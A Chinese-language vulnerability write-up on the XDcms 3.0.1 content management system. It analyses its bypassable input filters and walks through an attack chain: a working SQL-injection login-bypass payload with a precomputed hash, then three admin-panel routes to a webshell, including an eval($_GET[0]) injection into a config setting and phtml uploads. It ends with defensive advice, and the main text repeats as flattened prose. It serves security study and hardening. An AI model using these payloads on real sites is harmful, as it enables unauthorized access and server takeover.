XDcms3.0.1挖掘新利用
字数 1451 2025-08-05 11:39:35

XDcms 3.0.1 漏洞分析与利用指南

一、系统概述

XDcms 3.0.1 是一款存在多处安全漏洞的内容管理系统,其架构特点包括:

  • 使用 Smarty 模板引擎
  • 采用 MVC 设计模式
  • 包含多个基础类:base、db、checkLogin
  • 使用自定义的安全过滤函数

二、系统架构分析

1. 核心文件结构

  • config.inc.php:数据库配置文件
  • fun.inc.php:常用函数文件
  • global.inc.php:框架启动文件
  • clue.inc.php:提示文本
  • base.class.php:基础类定义
  • Cookie.class.php:Cookie 操作类

2. 安全过滤函数分析

safe_html 函数

function safe_html($str){
    if(empty($str)){return;}
    $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/','',$str);
    return htmlspecialchars($str);
}

绕过方法

  1. 双写绕过(如 selselectect
  2. 大小写绕过(如 SELECT
  3. 换行绕过
  4. 注释符绕过

safe_replace 函数

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','"',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','<',$string);
    $string = str_replace('>','>',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

特点

  • 过滤不彻底
  • 很多地方忘记调用此函数进行安全过滤

三、漏洞挖掘与利用

1. 任意类方法调用漏洞

漏洞位置:框架启动流程

  • 可以包含任意 PHP 文件
  • 类构造方法缺乏鉴权,可调用任意 public 方法

利用方法

  • 通过 __call 魔术方法实现 XSS 攻击

2. SQL 注入漏洞

漏洞位置./system/modules/xdcms/login.php 中的 check 方法

public function check(){
    $username = safe_html($_POST['username']);
    $password = safe_html($_POST['password']);
    $verifycode = safe_html($_POST['verifycode']);
    // ...
    $sql="select * from ".DB_PRE."admin where `username`='$username'";
    // ...
    $rs=$this->mysql->get_one($sql);
    $password=password($password,$rs['encrypt']);
    if($password!=$rs['password']){
        showmsg(C('password_error'),'-1');
    }

漏洞分析

  • 使用不安全的 safe_html 过滤登录请求
  • 存在 SQL 注入漏洞
  • 后台密码虽然加盐并使用自定义加密算法,但可通过万能密码绕过

利用步骤

  1. 分析 password 函数加密逻辑
  2. 计算 password('123456','1') 的结果(示例中为 c6c6e122d028f5e37f845c8660374b78
  3. 构造注入 payload 控制查询结果的 passwordencrypt 字段

Payload 示例

username=q'union selselectect 1,2,'c6c6e122d028f5e37f845c8660374b78' password,'1' encrypt,5,6,7,8,9,10#&password=123456&verifycode=&button=

3. 后台 Getshell 方法

方法一:修改配置文件

路径:后台->系统设置->网页设置->基本信息

利用方式

  1. 修改 siteurl 参数为恶意代码:
    http://127.0.0.1/');eval($_GET[0]);
    
  2. 系统会将此值写入 xdcms.inc.php 配置文件

方法二:修改上传设置

路径:后台->系统设置->网页设置->上传设置

利用方式

  1. 添加 phtml 到允许上传的后缀列表(php 默认在黑名单)
  2. 上传包含恶意代码的 phtml 文件

方法三:模板管理写配置

路径:后台->系统设置->栏目管理->管理栏目

利用方式

  1. 在任意可编辑字段中插入 PHP 代码
  2. 注意闭合语句避免破坏网站功能

四、防御建议

  1. 输入验证

    • 使用预处理语句防止 SQL 注入
    • 实现严格的输入过滤,避免使用可绕过的过滤函数
  2. 权限控制

    • 为所有类方法添加鉴权机制
    • 实现最小权限原则
  3. 安全配置

    • 限制文件上传类型
    • 配置文件写入时进行严格过滤
  4. 加密存储

    • 使用标准的加密算法(如 bcrypt)替代自定义加密
    • 确保盐值足够随机
  5. 框架安全

    • 避免直接包含用户可控的文件
    • 对魔术方法调用进行安全检查

五、总结

XDcms 3.0.1 存在多处安全漏洞,从 SQL 注入到后台 getshell 形成完整的攻击链。通过分析其安全过滤函数的缺陷,攻击者可构造万能密码进入后台,进而通过多种方式获取服务器权限。这提醒开发人员需要重视安全函数的实现和调用,以及权限控制的完整性。

XDcms 3.0.1 漏洞分析与利用指南 一、系统概述 XDcms 3.0.1 是一款存在多处安全漏洞的内容管理系统,其架构特点包括: 使用 Smarty 模板引擎 采用 MVC 设计模式 包含多个基础类:base、db、checkLogin 使用自定义的安全过滤函数 二、系统架构分析 1. 核心文件结构 config.inc.php :数据库配置文件 fun.inc.php :常用函数文件 global.inc.php :框架启动文件 clue.inc.php :提示文本 base.class.php :基础类定义 Cookie.class.php :Cookie 操作类 2. 安全过滤函数分析 safe_html 函数 绕过方法 : 双写绕过(如 selselectect ) 大小写绕过(如 SELECT ) 换行绕过 注释符绕过 safe_replace 函数 特点 : 过滤不彻底 很多地方忘记调用此函数进行安全过滤 三、漏洞挖掘与利用 1. 任意类方法调用漏洞 漏洞位置 :框架启动流程 可以包含任意 PHP 文件 类构造方法缺乏鉴权,可调用任意 public 方法 利用方法 : 通过 __call 魔术方法实现 XSS 攻击 2. SQL 注入漏洞 漏洞位置 : ./system/modules/xdcms/login.php 中的 check 方法 漏洞分析 : 使用不安全的 safe_html 过滤登录请求 存在 SQL 注入漏洞 后台密码虽然加盐并使用自定义加密算法,但可通过万能密码绕过 利用步骤 : 分析 password 函数加密逻辑 计算 password('123456','1') 的结果(示例中为 c6c6e122d028f5e37f845c8660374b78 ) 构造注入 payload 控制查询结果的 password 和 encrypt 字段 Payload 示例 : 3. 后台 Getshell 方法 方法一:修改配置文件 路径 :后台->系统设置->网页设置->基本信息 利用方式 : 修改 siteurl 参数为恶意代码: 系统会将此值写入 xdcms.inc.php 配置文件 方法二:修改上传设置 路径 :后台->系统设置->网页设置->上传设置 利用方式 : 添加 phtml 到允许上传的后缀列表(php 默认在黑名单) 上传包含恶意代码的 phtml 文件 方法三:模板管理写配置 路径 :后台->系统设置->栏目管理->管理栏目 利用方式 : 在任意可编辑字段中插入 PHP 代码 注意闭合语句避免破坏网站功能 四、防御建议 输入验证 : 使用预处理语句防止 SQL 注入 实现严格的输入过滤,避免使用可绕过的过滤函数 权限控制 : 为所有类方法添加鉴权机制 实现最小权限原则 安全配置 : 限制文件上传类型 配置文件写入时进行严格过滤 加密存储 : 使用标准的加密算法(如 bcrypt)替代自定义加密 确保盐值足够随机 框架安全 : 避免直接包含用户可控的文件 对魔术方法调用进行安全检查 五、总结 XDcms 3.0.1 存在多处安全漏洞,从 SQL 注入到后台 getshell 形成完整的攻击链。通过分析其安全过滤函数的缺陷,攻击者可构造万能密码进入后台,进而通过多种方式获取服务器权限。这提醒开发人员需要重视安全函数的实现和调用,以及权限控制的完整性。